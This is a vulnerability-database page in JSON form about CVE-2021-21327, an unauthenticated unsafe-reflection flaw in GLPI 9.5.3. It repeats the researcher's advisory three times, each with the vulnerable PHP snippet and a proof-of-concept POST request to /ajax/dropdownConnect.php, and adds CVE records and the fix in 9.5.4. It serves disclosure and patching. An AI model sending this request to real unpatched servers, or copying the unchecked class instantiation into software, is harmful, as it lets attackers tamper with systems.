DATABASE RESOURCES PRICING ABOUT US

{"id": "1337DAY-ID-35910", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "GLPI 9.5.3 - (fromtype) Unsafe Reflection Vulnerability", "description": "", "published": "2021-03-08T00:00:00", "modified": "2021-03-08T00:00:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, "href": "https://0day.today/exploit/description/35910", "reporter": "zdt", "references": [], "cvelist": ["CVE-2021-21327"], "immutableFields": [], "lastseen": "2021-09-16T23:05:18", "viewCount": 12, "enchantments": {"dependencies": {"references": [{"type": "altlinux", "idList": ["D37A66E1CE7616399D52A9C502A9176E"]}, {"type": "cve", "idList": ["CVE-2021-21327"]}, {"type": "exploitdb", "idList": ["EDB-ID:49628"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:161680"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-21327"]}]}, "score": {"value": 0.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-21327"]}, {"type": "exploitdb", "idList": ["EDB-ID:49628"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:161680"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-21327"]}]}, "exploitation": null, "vulnersScore": 0.3}, "_state": {"dependencies": 1663695782, "score": 1663695947}, "_internal": {"score_hash": "a7a0e7fa41e024d1bd67fcc057e23de4"}, "sourceHref": "https://0day.today/exploit/35910", "sourceData": "# Exploit Title: GLPI 9.5.3 - 'fromtype' Unsafe Reflection\r\n# Exploit Author: Vadym Soroka @Iterasec https://iterasec.com\r\n# Vendor Homepage: https://glpi-project.org\r\n# Software Link: https://github.com/glpi-project/glpi/releases\r\n# Version: <=9.5.3\r\n# Tested on:v9.5.3, 2021-02-13\r\n# Technical advisories:\r\n# https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp\r\n# https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/\r\n\r\n\r\nImpact:\r\n\r\nNon-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a \u201cPOP chain\u201d.\r\nAs an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors.\r\n\r\nDescription:\r\n\r\nWhen passing an existing class (ex: \"Glpi\\Console\\Application\" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared.\r\nWhen a PHP object gets destroyed, its __destruct() method is executed.\r\nThere are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point.\r\n\r\nVulnerable code sample:\r\n\r\n--- file dropdownConnect.php:\r\nif (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) {\r\nexit();\r\n}\r\n---\r\n--- file dbutils.class.php, function getItemForItemtype($itemtype)\r\nif (class_exists($itemtype)) {\r\nreturn new $itemtype();\r\n}\r\n//handle namespaces\r\nif (substr($itemtype, 0, \\strlen(NS_GLPI)) === NS_GLPI) {\r\n$itemtype = stripslashes($itemtype);\r\nif (class_exists($itemtype)) {\r\nreturn new $itemtype();\r\n}\r\n}\r\n---\r\n\r\nPOC/Steps to reproduce:\r\n\r\nIssue a request*:\r\nPOST /ajax/dropdownConnect.php HTTP/1.1\r\nHost: glpi\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nConnection: close\r\nContent-Length: 12\r\n\r\nfromtype=XXX\r\n* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.:\r\nGLPI Core: \"Glpi\\Foo\\Bar\"\r\nGLPI Plugins: \"PluginFooBar\"\n\n# 0day.today [2021-09-17] #", "category": "", "verified": false}

{"cve": [{"lastseen": "2022-03-23T13:38:59", "description": "GLPI is an open-source asset and IT management software package that provides ITIL Service Desk features, licenses tracking and software auditing. In GLPI before version 9.5.4 non-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a \u201cPOP chain\u201d. As an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors. This is fixed in version 9.5.4.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-03-08T17:15:00", "type": "cve", "title": "CVE-2021-21327", "cwe": ["CWE-862"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21327"], "modified": "2021-03-16T18:20:00", "cpe": [], "id": "CVE-2021-21327", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21327", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "cpe23": []}], "exploitdb": [{"lastseen": "2022-08-16T06:05:23", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-03-08T00:00:00", "type": "exploitdb", "title": "GLPI 9.5.3 - &#039;fromtype&#039; Unsafe Reflection", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21327"], "modified": "2021-03-08T00:00:00", "id": "EDB-ID:49628", "href": "https://www.exploit-db.com/exploits/49628", "sourceData": "# Exploit Title: GLPI 9.5.3 - 'fromtype' Unsafe Reflection\r\n# Date: 2021-02-13\r\n# Exploit Author: Vadym Soroka @Iterasec https://iterasec.com\r\n# Vendor Homepage: https://glpi-project.org\r\n# Software Link: https://github.com/glpi-project/glpi/releases\r\n# Version: <=9.5.3\r\n# Tested on:v9.5.3, 2021-02-13\r\n# Technical advisories:\r\n# https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp\r\n# https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/\r\n\r\n\r\nImpact:\r\n\r\nNon-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a \u201cPOP chain\u201d.\r\nAs an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors.\r\n\r\nDescription:\r\n\r\nWhen passing an existing class (ex: \"Glpi\\Console\\Application\" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared.\r\nWhen a PHP object gets destroyed, its __destruct() method is executed.\r\nThere are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point.\r\n\r\nVulnerable code sample:\r\n\r\n--- file dropdownConnect.php:\r\nif (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) {\r\nexit();\r\n}\r\n---\r\n--- file dbutils.class.php, function getItemForItemtype($itemtype)\r\nif (class_exists($itemtype)) {\r\nreturn new $itemtype();\r\n}\r\n//handle namespaces\r\nif (substr($itemtype, 0, \\strlen(NS_GLPI)) === NS_GLPI) {\r\n$itemtype = stripslashes($itemtype);\r\nif (class_exists($itemtype)) {\r\nreturn new $itemtype();\r\n}\r\n}\r\n---\r\n\r\nPOC/Steps to reproduce:\r\n\r\nIssue a request*:\r\nPOST /ajax/dropdownConnect.php HTTP/1.1\r\nHost: glpi\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nConnection: close\r\nContent-Length: 12\r\n\r\nfromtype=XXX\r\n* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.:\r\nGLPI Core: \"Glpi\\Foo\\Bar\"\r\nGLPI Plugins: \"PluginFooBar\"", "sourceHref": "https://www.exploit-db.com/download/49628", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "packetstorm": [{"lastseen": "2021-03-08T16:21:19", "description": "", "published": "2021-03-08T00:00:00", "type": "packetstorm", "title": "GLPI 9.5.3 Unsafe Reflection", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21327"], "modified": "2021-03-08T00:00:00", "id": "PACKETSTORM:161680", "href": "https://packetstormsecurity.com/files/161680/GLPI-9.5.3-Unsafe-Reflection.html", "sourceData": "`# Exploit Title: GLPI 9.5.3 - 'fromtype' Unsafe Reflection \n# Date: 2021-02-13 \n# Exploit Author: Vadym Soroka @Iterasec https://iterasec.com \n# Vendor Homepage: https://glpi-project.org \n# Software Link: https://github.com/glpi-project/glpi/releases \n# Version: <=9.5.3 \n# Tested on:v9.5.3, 2021-02-13 \n# Technical advisories: \n# https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp \n# https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/ \n \n \nImpact: \n \nNon-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a \u201cPOP chain\u201d. \nAs an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors. \n \nDescription: \n \nWhen passing an existing class (ex: \"Glpi\\Console\\Application\" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared. \nWhen a PHP object gets destroyed, its __destruct() method is executed. \nThere are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point. \n \nVulnerable code sample: \n \n--- file dropdownConnect.php: \nif (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) { \nexit(); \n} \n--- \n--- file dbutils.class.php, function getItemForItemtype($itemtype) \nif (class_exists($itemtype)) { \nreturn new $itemtype(); \n} \n//handle namespaces \nif (substr($itemtype, 0, \\strlen(NS_GLPI)) === NS_GLPI) { \n$itemtype = stripslashes($itemtype); \nif (class_exists($itemtype)) { \nreturn new $itemtype(); \n} \n} \n--- \n \nPOC/Steps to reproduce: \n \nIssue a request*: \nPOST /ajax/dropdownConnect.php HTTP/1.1 \nHost: glpi \nContent-Type: application/x-www-form-urlencoded; charset=UTF-8 \nConnection: close \nContent-Length: 12 \n \nfromtype=XXX \n* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.: \nGLPI Core: \"Glpi\\Foo\\Bar\" \nGLPI Plugins: \"PluginFooBar\" \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161680/glpi953-unsafereflection.txt"}], "ubuntucve": [{"lastseen": "2022-08-04T13:21:38", "description": "GLPI is an open-source asset and IT management software package that\nprovides ITIL Service Desk features, licenses tracking and software\nauditing. In GLPI before version 9.5.4 non-authenticated user can remotely\ninstantiate object of any class existing in the GLPI environment that can\nbe used to carry out malicious attacks, or to start a \u201cPOP chain\u201d. As an\nexample of direct impact, this vulnerability affects integrity of the GLPI\ncore platform and third-party plugins runtime misusing classes which\nimplement some sensitive operations in their constructors or destructors.\nThis is fixed in version 9.5.4.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-03-08T00:00:00", "type": "ubuntucve", "title": "CVE-2021-21327", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21327"], "modified": "2021-03-08T00:00:00", "id": "UB:CVE-2021-21327", "href": "https://ubuntu.com/security/CVE-2021-21327", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "altlinux": [{"lastseen": "2022-06-10T03:04:51", "description": "9.5.4-alt1 built April 14, 2021 Pavel Zilke in task [#269862](<https://git.altlinux.org/tasks/269862/>) \n--- \nMarch 31, 2021 Pavel Zilke \n \n \n - New version 9.5.4\n - This is a security release, upgrading is recommended\n - Security fixes:\n + CVE-2021-21326 : Horizontal Privilege Escalation\n + CVE-2021-21255 : entities switch IDOR\n + CVE-2021-21258 : XSS injection in ajax/kanban\n + CVE-2021-21314 : XSS injection on ticket update\n + CVE-2021-21312 : Stored XSS on documents\n + CVE-2021-21313 : XSS on tabs\n + CVE-2021-21325 : Stored XSS in budget type\n + CVE-2021-21327 : Unsafe Reflection in getItemForItemtype()\n + CVE-2021-21324 : Insecure Direct Object Reference (IDOR) on \"Solutions\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-04-14T00:00:00", "type": "altlinux", "title": "Security fix for the ALT Linux 9 package glpi version 9.5.4-alt1", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21255", "CVE-2021-21258", "CVE-2021-21312", "CVE-2021-21313", "CVE-2021-21314", "CVE-2021-21324", "CVE-2021-21325", "CVE-2021-21326", "CVE-2021-21327"], "modified": "2021-04-14T00:00:00", "id": "D37A66E1CE7616399D52A9C502A9176E", "href": "https://packages.altlinux.org/en/p9/srpms/glpi/2650885283753470949", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}]}